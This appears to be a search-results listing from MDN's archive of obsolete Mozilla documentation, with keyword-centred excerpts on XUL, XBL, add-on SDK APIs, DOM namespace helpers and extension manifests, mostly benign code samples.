...nts a widget instance specific to one browser window. anything you do to an instance of this object will only be applied to the instance attached to its browser window: widget instances attached to other browser windows will be unaffected. by contrast, any changes you make to an instance of the normal widget class will be applied across all browser windows. this class has all the same methods,
attributes and events as the widget class except for the getview method and the attach event. in this example widgetview is used to display different content for http and https schemes: // a widget that update its content specifically to each window. var tabs = require("sdk/tabs"); var windows = require("sdk/windows").browserwindows; var widget = require("sdk/widget").widget({ id: "window-specific-test...
system/events - Archive of obsolete content
re("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event) send an event to observer service parameters type : string the event type. event : object an optional object with data and subject
attributes. data refers to a string that you would like to pass through this event. subject should refer to the actual actor/subject of this event (ie: the object emitting the event). on(type, listener, strong) listen to events of a given type parameters type : string the event type name to watch. listener : function function that will be called when an event is fired, with a single event object as ...
...you would like to pass through this event. subject should refer to the actual actor/subject of this event (ie: the object emitting the event). on(type, listener, strong) listen to events of a given type parameters type : string the event type name to watch. listener : function function that will be called when an event is fired, with a single event object as argument. this object has three
attributes: type: the event type name subject: the event subject object data: the event data string strong : boolean default is false, a weak reference, which means it can be garbage collected at any time if there are no other references to it. determines if we should keep a strong or weak reference to the listener method. once(type, listener, strong) listen only once to a particular event type ...
Adding a Button to the Toolbar - Archive of obsolete content
n-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } now run the add-on with jpm run. the button is added to the toolbar at the top of the browser window: you can't set the initial location for the button, but the user can move it using the browser's customization feature. the id
attribute is mandatory, and is used to remember the position of the button, so you should not change it in subsequent versions of the add-on. clicking the button loads https://www.mozilla.org/ into a new tab. specifying the icon the icon property may specify a single icon or a collection of icons in different sizes, as in the example above. if you specify a collection of icons in different sizes the bro...
...in different sizes the browser will automatically choose the best fit for the screen resolution and the place in the browser ui that hosts the button. read more about specifying multiple icons. the icon file must be packaged with your add-on: it may not refer to a remote file. you can change the icon at any time by setting the button's icon property. you can change the icon, and the other state
attributes, either globally, for a specific window, or for a specific tab. read more about updating state. attaching a panel if you need to attach a panel to a button, use the toggle button api. this is just like the action button api except it adds a boolean checked property which is toggled whenever the button is checked. to attach the panel, pass the button to the panel's show() method. for more detai...
Customizing the download progress bar - Archive of obsolete content
...
... { dl.set
attribute("myspecialdownload", "true"); } } return dl; } } }; window.addeventlistener("load", function(e) { mydownloadmanager.init(); }, false); in your css file, change richdownloaditem (both occurrences) to richdownloaditem[myspecialdownload="true"]. now your new progress bar image will only be used for the downloads with your special
attribute. ...
IsDefaultNamespace - Archive of obsolete content
-level-3-core/namespaces-algorithms.html#isdefaultnamespacealgo function isdefaultnamespace(node, namespaceuri) { if (node.isdefaultnamespace) { return node.isdefaultnamespace(namespaceuri); } switch (node.nodetype) { case 1: // element_node if (!node.prefix) { return (node.namespaceuri === namespaceuri); } if (node.
attributes.length) { for (var i=0; i < node.
attributes.length; i++) { var att = node.
attributes[i]; if (att.localname === 'xmlns') { return att.value === namespaceuri; } } } if (node.parentnode) { // entityreferences may have to be skipped to get to it ...
... } else { return false; // unknown; } case 9: // document_node return isdefaultnamespace(node.documentelement, namespaceuri); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_fragment_node return false; // unknown case 2: //
attribute_node: if (node.ownerelement ) { return isdefaultnamespace(node.ownerelement , namespaceuri); } else { return false; // unknown } default: if (node.parentnode) { // entityreferences may have to be skipped to get to it return isdefaultnamespace(node.parentnode, namespaceur...
LookupNamespaceURI - Archive of obsolete content
node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { // note: prefix could be "null" in the case we are looking for default namespace return node.namespaceuri; } if (node.
attributes.length) { for (i = 0; i < node.
attributes.length; i++) { att = node.
attributes[i]; if (xmlnspattern.test(att.name) && xmlnspattern.exec(att.name)[1] === prefix) { if (att.value) { return att.value; } return null; /...
..., prefix); } return null; case 9: // document_node return lookupnamespaceurihelper(node.documentelement, prefix); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_fragment_node return null; // unknown case 2: //
attribute_node if (node.ownerelement) { return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // processing_instruction_node (7), comment_node (8) if (node.parentnode) { ...
LookupPrefix - Archive of obsolete content
ode.nodetype) { case 1: // node.element_node return _lookupnamespaceprefix(namespaceuri, node); case 9: // node.document_node return _lookupnamespaceprefix(namespaceuri, node.documentelement); case 6: // node.entity_node case 12: // node.notation_node case 11: // node.document_fragment_node case 10: // node.document_type_node return null; // type is unknown case 2: // node.
attribute_node if (node.ownerelement) { return _lookupnamespaceprefix(namespaceuri, node.ownerelement); } return null; default: if (node.parentnode) { // entityreferences may have to be skipped to get to it return _lookupnamespaceprefix(namespaceuri, node.parentnode); } return null; } } // private function for lookupprefix only function _lookupnamespaceprefix (namespaceur...
...} } // private function for lookupprefix only function _lookupnamespaceprefix (namespaceuri, originalelement) { var xmlnspattern = /^xmlns:(.*)$/; if (originalelement.namespaceuri && originalelement.namespaceuri === namespaceuri && originalelement.prefix && originalelement.lookupnamespaceuri(originalelement.prefix) === namespaceuri) { return originalelement.prefix; } if (originalelement.
attributes && originalelement.
attributes.length) { for (var i=0; i < originalelement.
attributes.length; i++) { var att = originalelement.
attributes[i]; xmlnspattern.lastindex = 0; var localname = att.localname || att.name.substr(att.name.indexof(':')+1); // latter test for ie which doesn't support localname if (localname.indexof(':') !== -1) { // for firefox when in html mode localname = ...
Windows - Archive of obsolete content
()) { var win = wenum.getnext(); if (win.name == windowname) { win.focus(); return; } index++ } window.open("chrome://to/your/window.xul", windowname, "features"); uniquely identifying dom windows requires gecko 2.0(firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko, each dom window has a unique 64-bit id number. you can get a dom window's id using the nsidomwindowutils
attribute outerwindowid. each time a new window is created, it gets assigned an id one greater than the last created window. this can be used in cases in which you need to uniquely identify a dom window during the duration of the application's lifespan: var util = win.queryinterface(components.interfaces.nsiinterfacerequestor).getinterface(components.interfaces.nsidomwindowutils); var windowid = util.oute...
...quely identify a dom window during the duration of the application's lifespan: var util = win.queryinterface(components.interfaces.nsiinterfacerequestor).getinterface(components.interfaces.nsidomwindowutils); var windowid = util.outerwindowid; after running that code, windowid contains the outer window's unique id. similarly, you can get the current inner window id using the nsidomwindowutils
attribute currentinnerwindowid: var util = win.queryinterface(components.interfaces.nsiinterfacerequestor).getinterface(components.interfaces.nsidomwindowutils); var windowid = util.currentinnerwindowid; programatically modifying html when attempting to modify html elements, it is important to specify the namespace. for example, the following code will add a horizontal rule. var hr = document.createele...
Extension Versioning, Update and Compatibility - Archive of obsolete content
sts information about 2 different versions of the extension with id foobar@developer.mozilla.org. the versions included are 2.2 and 2.5, both of which specify compatibility with firefox versions 1.5 to 2.0.0.*. for version 2.2 an https update link is used while version 2.5 has a regular http link with a hash to verify the file retrieved. it is important to get the initial rdf:description's about
attribute correct. it varies depending on what type of add-on you are providing information for: for an extension or plugin bundle it must be urn:mozilla:extension:<id> for a theme it must be urn:mozilla:theme:<id> for any other type of add-on it must be urn:mozilla:item:<id> note: prior to gecko 2.0 (firefox 4.0), the ordering of the versions within the <rdf:seq> is significant. for later versions...
...ww.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org. you can list multiple add-ons information in the same rdf file. --> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org"> <em:updates> <rdf:seq> <!-- the resource
attribute points to an rdf:description entry below with a matching about
attribute. the actual uri can be whatever you like --> <rdf:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"/> <rdf:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"/> </rdf:seq> </em:updates> <em:signature>migtma0gcsqgsib3dqebbquaa4gbamo1o2gwsccth1gwymg...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
andler that is defined directly in the xul document. consider the following xul fragment throughout the rest of this section. <menuitem id="mymenu" oncommand="executesomething(); executesomethingelse();"/> <label id="mylabel" onclick="executesomething(); executesomethingelse();"/> add-on authors commonly use eval to trigger the handlers. // do not use eval(document.getelementbyid("mymenu").get
attribute("oncommand")); eval(document.getelementbyid("mylabel").get
attribute("onclick")); alternative: dispatch real events dispatching real events has the added bonus that all other event listeners for that element (and the corresponding bubbling/capturing chain) will fire as well, so this method will have the closed resemblance to a real user event. // fake a command event var event = document.creat...
...label").dispatchevent(mouseevent); please see the corresponding documentation on how to use and initialize particular event types. alternative: element.click() xul and html elements have a pre-defined .click() method that will fire a synthesized click event. document.getelementbyid("mybutton").click(); alternative: element.docommand() xul elements that have a command (oncommand or command
attribute) assigned will also have a working docommand method. document.getelementbyid("mymenu").docommand(); alternative: just hard-code what should happen if you know that the current version of the application will call { executesomething(); executesomethingelse();} then just do the same in your code. of course, you'll need to update your add-on if the application changes. accessing properties via ...
Creating reusable content with CSS and XBL - Archive of obsolete content
r/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="square"> <resources> <stylesheet src="bind6.css"/> </resources> <content> <html:div anonid="square"/> <xul:button anonid="button" type="button"> <children/> </xul:button> </content> <implementation> <field name="square"><![cdata[ document.getanonymouselementby
attribute(this, "anonid", "square") ]]></field> <field name="button"><![cdata[ document.getanonymouselementby
attribute(this, "anonid", "button") ]]></field> <method name="dodemo"> <body><![cdata[ this.square.style.backgroundcolor = "#cf4" this.square.style.marginleft = "20em" this.button.set
attribute("disabled", "true") settimeout(this.clear...
...dcolor = "#cf4" this.square.style.marginleft = "20em" this.button.set
attribute("disabled", "true") settimeout(this.cleardemo, 2000, this) ]]></body> </method> <method name="cleardemo"> <parameter name="me"/> <body><![cdata[ me.square.style.backgroundcolor = "transparent" me.square.style.marginleft = "0" me.button.remove
attribute("disabled") ]]></body> </method> </implementation> <handlers> <handler event="click" button="0"><![cdata[ if (event.originaltarget == this.button) this.dodemo() ]]></handler> </handlers> </binding> </bindings> make a new css file, bind6.css. this separate stylesheet contains style for the binding. copy and paste the content from here: /*** xbl demon...
Case Sensitivity in class and id Names - Archive of obsolete content
ors should not rely on case-sensitivity as a way of creating distinct identifiers, unless they are designing solely for a truly standards-compliant browser such as netscape 6. why so case-sensitive? netscape 6's unusual sensitivity to case is based on a close reading of the html 4.01 specification. in section 7.5.2, which defines class and ids, we find the following text: id = name [cs] this
attribute assigns a name to an element. this name must be unique in a document. class = cdata-list [cs] this
attribute assigns a class name or set of class names to an element. any number of elements may be assigned the same class name or names. multiple class names must be separated by white space characters. the marker "[cs]" means "case sensitive," as defined in section 6.1 of the specification. thus,...
...ed to following open standards as closely as possible, implemented both class and id names as case-sensitive values. as of this writing, netscape 6 is the only browser to honor this defined behavior; other browsers treat both class and id names as case-insensitive. id uniqueness there is a further restriction, however, on the use of id names. section 12.2.1 makes it illegal for the name and id
attributes to use values which are a case-insensitive match. an "illegal" example is given in the specification, preceded by the text: "the following example is illegal with respect to uniqueness since the two names are the same except for case." <p><a name="xxx">...</a> <p><a name="xxx">...</a> we could freely substitute id for name and the point would be the same, since name and id share the same name s...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
src=""></iframe> </div> the javascript code located in the data loader component will be interacting with this iframe element, requesting data from the server. note that when the data is available (a web page is loaded into the iframe) this will not affect the web page context because the iframe is not visible. data loader component this component is a simple javascript function that sets the src
attribute of the hidden iframe, causing it to load an url (i.e., by establishing a request on the server side): /* triggers the iframe to retrieve new data */ function retrievedata() { bridgeframe.src = dataurl; } once a web page is loaded into the iframe, the data binder will be able to get the data from the iframe's page and set the data into the main page's context. data binder component the data binder...
... // ie fix if(document.all) tagname="nde:"+tagname; valuee=article.getelementsbytagname(tagname).item(0).firstchild.nodevalue; tagname="summary"; // ie fix if(document.all) tagname="nde:"+tagname; paraa=article.getelementsbytagname(tagname).item(0).firstchild.nodevalue; linkk=article.get
attribute("url"); strvalue="<div class='nde-blurb'><h3><a href='"+linkk+"'>"+valuee+"</a></h3><p>"+paraa+"</p></div>"; document.getelementbyid("container").innerhtml+=strvalue; } } if(previousele) { previousele.style.backgroundcolor="white"; } ele.style.backgroundcolor="#ddeeff"; previousele=ele; } var previousele=null; </script> <style> .tab { position:relative;top:1px; border: 1p...
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
as windows nt, 2000 & xp. ...
...eight="300"> <param name="type" value="video/quicktime"/> <param name="src" value="http://www.foobar.com/some_movie.mov"/> <!-- custom arguments --> <param name="loop" value="true"/> </object> the classid
attribute tells ie to create an instance of the plug-in hosting control, the width and height specify the dimensions in pixels. you may optionally specify a codebase
attribute if you have packaged the control into a cab file and wish for it to be installed automatically. the following <embed>
attributes have <param> tag equivalents: <param name="type" ...> is equivalent to typespecifies the mime type of the plug-in. the control uses this value to determine which plug-in it should create to handle the content. <param name="src" ...> is equivalent to srcspecifies an u...
Creating a Firefox sidebar extension - Archive of obsolete content
sidebartitle="&emptysidebar.title;" oncommand="togglesidebar('viewemptysidebar');" /> </broadcasterset> </overlay> the overlay file consists of three entries, the menu definition, shortcut keys and the broadcaster. the broadcaster serves two purposes. the first is it indirectly provides the arguments for the togglesidebar function. ...
... the extension needs to provide some special manifest files that control how it is installed and where its chrome resources are stored. the first is install.rdf, the install manifest. see install manifests for a complete listing of the required and optional properties. the install manifest is listed in example 5. example 5. ...
Enabling the behavior - updating the status bar panel - Archive of obsolete content
in order for loadtinderboxstatus() to have any effect we need to define a matching updatetinderboxstatus() function. function updatetinderboxstatus() { var icon = document.getelementbyid('tinderbox-status'); if (gxmlhttprequest.responsetext.match("ee0000")) icon.set
attribute("status", "busted"); else if (gxmlhttprequest.responsetext.match("ffaa00")) icon.set
attribute("status", "testfailed"); else if (gxmlhttprequest.responsetext.match("11dd11")) icon.set
attribute("status", "success"); else icon.set
attribute("status", ""); } updatetinderboxstatus() retrieves a reference to the statusbarpanel element then searches through the retrieved html document (stored in the responsetext property of the xmlhttprequest instance) for one of several color references. the color red (r...
... the xmlhttprequest instance) for one of several color references. the color red (represented by the rgb code ee0000) means a tinderbox client failed to build mozilla. the color orange ("ffaaoo") means a client successfully built mozilla, but the build failed tests. the color green ("11dd11") means the client successfully built and tested mozilla. when it finds a color, it sets the panel's status
attribute to the corresponding status, which causes the previously defined css rules to switch to the icon appropriate for that status. because our conditional looks for worse states (bustage, test failures) first, it will display those states before displaying the success state. « previousnext » ...
Specifying the appearance - Archive of obsolete content
there is one rule for each possible tinderbox state. make your own icons for the four states or use the following icons: no status , success , test failed and busted . if you restart mozilla now you should see the "no status" icon appear in the browser's status bar. « previousnext » ...
...there is one rule for each possible tinderbox state. make your own icons for the four states or use the following icons: no status , success , test failed and busted . if you restart mozilla now you should see the "no status" icon appear in the browser's status bar. « previousnext » ...
Dehydra Object Reference - Archive of obsolete content
are declared and will have a .loc property. intrinsic types such as "int" are not declared and will not have a .loc. dehydra only sets boolean flags when they are true. for example, a pointer type will have .ispointer == true, but a class type will not have an .ispointer property. common properties property type description .loc location object source location of a type or declaration. .
attributes array of objects
attributes of the type or declaration. each member of the array has the following properties: { name: string, value: string or number, if applicable } see an example on enforcing final classes. code can be annotated with arbitrary user
attributes: __
attribute__((user("customstring"))). variable objects dehydra presents ast nodes as variables. these types are used to re...
...n identified by their dehydradecl() prototype. function variable function objects are an extension of variable objects. the following additional properties are available on functions: property type description .isvirtual true or "pure" true for virtual methods, or "pure" for pure virtuals (e.g. virtual void foo() = 0;). .isconstructor boolean flag constructors generally have a .fieldof
attribute (see variable objects). .isfunction boolean flag true for function variables. type objects dehydra provides detailed type objects. dehydra type objects use the dehydratype() prototype. common type properties property type description .name string if applicable, the name of of the type. for typedefs and classes, this is the declared name. for built-in types this is the standard name s...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
e used instead. usually you will want to provide a text version of the data so that more applications can accept the data. the order that you define the flavours should be from the best match to the weakest match. in this case above, the html flavour (text/html) comes first and then the text flavour (text/unicode). the example below shows how to set the data to be dragged from the element's label
attribute. in this case we only provide the data in one flavour. var textobserver = { ondragstart: function (event) { var txt = event.target.get
attribute("label"); transferdata.data = new transferdata(); transferdata.data.adddataforflavour("text/unicode",txt); } } this might be useful when implementing drag and drop for cells in a tree. you can use the value of a cell, or some resource fro...
...he transfer object only contains the data for the best matching flavour. the transfer object has two properties, data which holds the data and flavour which holds the flavour of the data. once you have the data, you can add it to the element is some way. for example, you might set the value of a textbox. var textobserver = { ondrop : function (event, transferdata, session) { event.target.set
attribute("value",transferdata.data); } } the flavour system used allows multiple objects of various types to be dragged at once and also allows alternative forms of the data to be dragged. the following table describes some of the flavours you might use. you can also make up your own flavours if necessary. text/unicode text data text/html html data text/x-moz-url a url application/x-moz-file a...
Message Summary Database - Archive of obsolete content
and threads in a folder, and some meta information about the folder. nsimsgdatabase the main access point to the summary information is nsimsgdatabase. nsimsgfolder has a method to get the database for a folder. nsimsgdatabase is an abstraction on top of mdb, which is a set of db interfaces. the mdb interfaces are implemented in mork. mdb is a schema-less db interface, so it's trivial to add new
attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the
attributes it doesn't know about. if we were to replace mork, we could do it at the mdb level (unlikely, because implementing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole n...
...ld be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole new database interface and change all the code that uses the nsimsgdatabase interface. message headers the message header object implements the nsimsgdbhdr interface. this includes a set of per-message flags, the more commonly used headers (e.g., subject, sender, from, to, cc, date, etc), and a few other
attributes, e.g., keywords. there are a set of generic property methods so that core code and extensions can set
attributes on msg headers without changing nsimsghdr.idl.msg threads we store thread information persistently in the database and expose these object through the [nsimsgthread interface. so the db knows which messages are in a thread, which message a message is in reply to, etc. this allows us t...
Microsummary topics - Archive of obsolete content
(components.interfaces.nsimicrosummaryservice); var generator = microsummaryservice.installgenerator(generatordoc); the service installs the generator by serializing its xml to a file in the user's profile directory and adding the generator to the service's in-memory generator cache. when programmatically installing generators, you should specify a unique identifier for the generator in the uri
attribute of the <generator> element. the value of the
attribute must be a valid uri, but you can specify an arbitrary identifier using a urn, for example: urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16} to guarantee uniqueness, use urns containing uuids generated by the nsuuidgenerator component. see generating a uuid in the nsiuuidgenerator documentation. you may also use another form appropriate to your ext...
...er using a urn, for example: urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16} to guarantee uniqueness, use urns containing uuids generated by the nsuuidgenerator component. see generating a uuid in the nsiuuidgenerator documentation. you may also use another form appropriate to your extension. note: when web sites install generators via window.sidebar.addmicrosummarygenerator(), firefox sets their uri
attribute to urn:source:sourceurl, where sourceurl is the url from which the generator was downloaded. in the future, firefox may access source urls to download updated versions of generators, so unless you are installing generators which are available from urls, you should not use this form for your programmatically-installed generators. differentiating between user-initiated and microsummary-related requ...
PyDOM - Archive of obsolete content
is what js calls 'expandos'. for example, let's say you have xul similar to pyxultest: top-level script code says something like: button = document.getelementbyid("some-button") button.foo = 0 and the button itself might look like: <button id="some-button" label="click here" onclick="event.target.foo += 1; print 'foo is now', event.target.foo"/> note that (a) we have stuck an arbitrary
attribute on a dom element and (b) in all cases (e.g., event handler and top-level script), the dom node needs to be explicitly specified - the globals are the window itself. the event handler could also have used getelementbyid - the point is that both the event handler and top-level script share the same namespace. using python ideally, you just tell mozilla you are using python, and magically you can us...
...are the same namespace. using python ideally, you just tell mozilla you are using python, and magically you can use python instead of javascript. once you set the script type for a node, it is the default for that node and all children. this means that if you set the script-type to python for the window, python is the default script type for all child elements in the window. xul use a script-type
attribute on your elements. for example, <window script-type="application/x-python" .../> html <meta http-equiv="content-script-type" content="application/x-python" /> should work (but possibly doesn't - see bug 100924). but addeventlistener within a <script type="application/x-python"> block does. almost python code can not be secured - so it will only run from trusted sources. this means you can only h...
RDF Datasource How-To - Archive of obsolete content
this is a space-separated list that may include internal xpcom datasource "identifiers" (as described above) and uris for local or remote rdf/xml documents. each datasource that is listed will be loaded, and the assertions contained in the datasource will be made available to the tree control for display. ref="http://foo.
...t that may include internal xpcom datasource "identifiers" (as described above) and uris for local or remote rdf/xml documents. each datasource that is listed will be loaded, and the assertions contained in the datasource will be made available to the tree control for display. ref="http://foo.bar.com/". this roots the graph in your content model. the tree tag will be treated as if it has the id
attribute with a value http://foo.bar.com/. <template>...</template>. the xul template that is used to build content from the graph. starting with the resource that corresponds to the tree element, http://foo.bar.com/, the graph will be traversed and content will be constructed using the pattern specified within the template tags. for a complete description of how content is built from rdf, see the xul...
Binding Attachment and Detachment - Archive of obsolete content
g documents for more information. when a binding is attached using the dom, it inherits from the current most derived binding that may already be attached to the element. any bindings attached to an element will remain on the element until the element is destroyed or the corresponding style rule is removed. if a binding is attached and it already specifies an inherited binding using the extends
attribute, then the base binding at the end of the inheritance chain is the one that will inherit from the most derived binding that is already attached. for example, given a binding d1, with an explicit inheritance chain of d1 -> d2 -> d3 if this element is attached to an element using element.style.mozbinding that already has a binding chain of s1 -> s2 -> s3 the resulting binding chain following th...
... representing the binding attached via css. if a resolution of style on the bound element determines that a new bindingt should be attached, then the following binding chain is detached: s1->s2 ->s3 and the new binding is attached. the final inheritance chain is: d1->d2 ->d3 ->t when bindings are detached using element.style.mozbinding, any base bindings that were attached through the extends
attribute on the binding will also be removed. in other words, a removal of element.style.mozbinding will remove the same group of bindings that were installed via the original call to element.style.mozbinding = "url(...)". the rule for detachment can be summarized as follows. whenever a binding is detached, all bindings that it explicitly inherits from are also detached. binding documents whenever a bi...
Working With Directories - Archive of obsolete content
directory on the desktop. if either the 'myfiles' directory or the 'pictures' directory do not exist, they will be created. thus, you do not have to create a series of directories individually, the set will all be created if needed. naturally, if the 'myfiles' directory already exists, it won't be recreated. iterating over the files in a directory the directory object's directoryentries (nsifile.
attributes)
attribute is used to get a list of the items in a directory. it returns an enumeration which can be iterated over. function getlatestfile() { var lastmod = 0; var homedir = io.getfile("home", ""); var items = homedir.directoryentries; while (items.hasmoreelements()) { var item = items.getnext().queryinterface(components.interfaces.nsifile); if (item.isfile() && item.lastmodified...
...item = items.getnext().queryinterface(components.interfaces.nsifile); if (item.isfile() && item.lastmodifiedtime > lastmod.lastmodifiedtime) lastmod = item; } return lastmod; } this example iterates through the files in the home directory and looks for the file with the latest modification time (the last file in that directory that was written to). as the directoryentries (nsifile.
attributes) property is an enumeration, you can iterate over the items by using nsisimpleenumerator.hasmoreelements() and nsisimpleenumerator.getnext(). for each item, nsifile.isfile() is called to check if an item is a file and lastmodifiedtime (nsifile.
attributes)
attribute is compared with the time of the lastmod reference. if the time is higher, the lastmod variable is updated as needed. the result is ...
Node - Archive of obsolete content
summary this is a scriptable interface corresponding to the nsidomnode xpcom interface. constants the nsidomnode interface is the primary datatype for the entire document object model. it represents a single node in the document tree. ...
...nt_node 1 short
attribute_node 2 short text_node 3 short cdata_section_node 4 short entity_reference_node 5 short entity_node 6 short processing_instruction_node 7 short comment_node 8 short document_node 9 short document_type_node 10 short document_fragment_node 11 short notation_node 12 methods node appendchild ( node newchild ) node clonenode ( boolean deep ) boolean has
attributes ( ) boolean haschildnodes ( ) node insertbefore ( node newchild , node refchild ) boolean issupported ( string feature , string version ) void normalize ( ) node removechild ( node oldchild ) node replacechild ( node newchild , node oldchild ) ...
Extensions - Archive of obsolete content
in-menubar'. to add a new menu onto the main application menubar, you will need to overlay this menubar. for instance: <menubar id="main-menubar"> <menu label="search" insertbefore="tools-menu"> <menupopup> <menuitem label="web"/> <menuitem label="mail"/> </menupopup> </menu> </menubar> this menu is added to the main menu bar just before the tools menu. the insertbefore
attribute is set to 'tools-menu' to ensure that the new menu is added at the right place. note that the menu will not appear until it has a <menupopup>. adding a new menuitem you might wish to add a new item to one of the menus. this can be done by overlaying the popup to append the item to. for a list of the ids of the menus for firefox, see firefox menus. for example, to add an item to the end of the t...
...l="view thumbnail" oncommand="thumbnails.view();"/> </popup> note that the popup element is used rather than the menupopup element as this is the element that firefox uses. the code above will append the new item at the end of the context menu. if you want to place the item at a specific location within the context menu rather than at the end, you can use either the insertbefore or insertafter
attributes to insert it before or after another item specified by an id. for example, the following may be used to insert a command just after the 'select all' command: <popup id="contentareacontextmenu"> <menuitem label="select links" oncommand="thumbnails.selectalllinks();" insertafter="context-selectall"/> </popup> see firefox context menu for a list of the ids of the items found on the...
Floating Panels - Archive of obsolete content
floating panels a floating panel is used for secondary popups such as tool palettes and property inspector panels. it will have a titlebar which the user may use to move the panel around on the screen. a floating panel can be created using the panel element with at least two additional
attributes as in the following example: <panel id="tools-panel" noautohide="true" titlebar="normal"> <label control="name" value="name:"/> <textbox id="name"/> </panel> the noautohide
attribute is used to indicate that the panel is not temporary. when set to true, the popup will not close when the user clicks outside of it, nor when the user presses the escape key. the titlebar
attribute creates a panel with a titlebar. currently, only the value normal is supported, which creates a default titlebar. in the futu...
...s of differing styles. the floating panel can be placed and moved independently of the main window, however it will always appear above the main window. on mac, floating panels are invisible when another application is made active, and become visible again when the xul application is made active. a floating panel may contain any type of element. a label for the titlebar may be set using the label
attribute, as in the following example: <panel id="info-panel" noautohide="true" titlebar="normal" label="image properties"> closing a floating panel unlike other panels, a floating panel does not close when clicking outside of it. you can use the close
attribute to have a close button on the titlebar. when the user presses it, the popup will be closed. <panel id="info-panel" noautohide="true" titlebar="n...
MenuModification - Archive of obsolete content
ript> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed. this function appends a new item to the menu's popup with the label insert. the first argument to appenditem is the label of the menuitem, and the second argument is a value to associate with the item. this value be set as the menuitem's value
attribute and can be used for whatever purpose is desired. note how in this example, the menu does not have a child menupopup. the appenditem method will create a menupopup element if it doesn't already exist. if the menu already has a menupopup, the new menuitem will be appended to this existing one. while the appenditem method always adds the new item to the end of the menu, the insertitemat method may ...
... newmenu.appenditem("document", "doc"); newmenu.appenditem("image", "image"); } </script> <menu label="file" onpopupshowing="addsubmenu()"> <menupopup id="file-popup"/> </menu>. comment: appenditem not working in tb 52.7.0. workaround: add menupopup to menu. then add menuitem to menupopup (all with appendchild to their parentelement). also, need replace newmenu.label= "new" by newmenu.set
attribute("label", "new"); (all when creating from bootstrap.js in a bootstrapped addon) the addsubmenu function is called during the popupshowing event, which will be fired when an attempt to open the menu is made. this function retrieves a reference to the popup with the id 'file-popup'. a new element is created using the createelement method. the createelement method takes one argument, the tag of the ...
PopupKeys - Archive of obsolete content
the focus within the textbox. however, the capturing listener ensures that no key events reach the textbox while the menu is open. unlike with a menu, when a panel is opened, the focus is removed from any element that has it. this allows the focus to be shifted to elements within the panel. for more information about focus handling within panels, see focus in panels. ...
...s reach the textbox while the menu is open. unlike with a menu, when a panel is opened, the focus is removed from any element that has it. this allows the focus to be shifted to elements within the panel. for more information about focus handling within panels, see focus in panels. ignoring keys the ignorekeys
attribute may be used to disable the key listener described above. when the ignorekeys
attribute is placed on a <menupopup> or <panel> element, and its value is set to the value true, the key listener is not used. <panel ignorekeys="true"> in this case, none of the key handling described above is performed. instead, you will have to handle this yourself. you would not normally use this
attribute for a menu, however you may wish to disable the escape key handling for a panel in this way. ...
Sorting and filtering a custom tree view - Archive of obsolete content
d = function(){ return false; }; this.getlevel = function(row){ return 0; }; this.getimagesrc = function(row,col){ return null; }; this.getrowproperties = function(row,props){}; this.getcellproperties = function(row,col,props){}; this.getcolumnproperties = function(colid,col,props){}; this.cycleheader = function(col, elem) {}; } function sort(column) { var columnname; var order = tree.get
attribute("sortdirection") == "ascending" ? 1 : -1; //if the column is passed and it's already sorted by that column, reverse sort if (column) { columnname = column.id; if (tree.get
attribute("sortresource") == columnname) { order *= -1; } } else { columnname = tree.get
attribute("sortresource"); } function columnsort(a, b) { if (prepareforcomparison(a[columnname]) > prepareforcomparison(b...
...ison(b[columnname])) return -1 * order; //tie breaker: name ascending is the second level sort if (columnname != "name") { if (prepareforcomparison(a["name"]) > prepareforcomparison(b["name"])) return 1; if (prepareforcomparison(a["name"]) < prepareforcomparison(b["name"])) return -1; } return 0; } table.sort(columnsort); //setting these will make the sort option persist tree.set
attribute("sortdirection", order == 1 ? "ascending" : "descending"); tree.set
attribute("sortresource", columnname); tree.view = new treeview(table); //set the appropriate
attributes to show to indicator var cols = tree.getelementsbytagname("treecol"); for (var i = 0; i < cols.length; i++) { cols[i].remove
attribute("sortdirection"); } document.getelementbyid(columnname).set
attribute("sortdirection"...
Bindings - Archive of obsolete content
t go in the query block but instead inside a rule element. the syntax is as follows: <template> <query> ... </query> <rule> <binding subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> <action> ... </action> </rule> </template> the description triple has been changed to a binding element, but the
attributes are the same. this allows a match to occur even if the description is not specified. note that when bindings are used, the bindings and the action must be enclosed inside a rule element. the template builder examines bindings after the query has generated results. it has already determined, in this example, that three matches have been found. the builder continues by filling in the values for an...
...to variable is known for each match, the datasource is examined for the description, and the value of the ?description variable is filled in. the effect is three matches, only one of which will display a description. the photos that don't have a description will be treated as if the description were blank. that is, the ?description variable will be replaced with an empty string when analyzing the
attributes in the action body. here is this example. you can have more than one binding if you wish. the others will be evaluated in a similar way. for instance, the title triple could be moved to a binding such that it could be optional also. « previousnext » ...
Multiple Rule Example - Archive of obsolete content
is only used in this example to show that there is no connection between the variables used in the two rules. you can use different variables if it makes sense in the context of the template or the data, although in this example it would seem more reasonable to use the same variable name. the only exception to this is that the container and member variables (those that are referred to in the uri
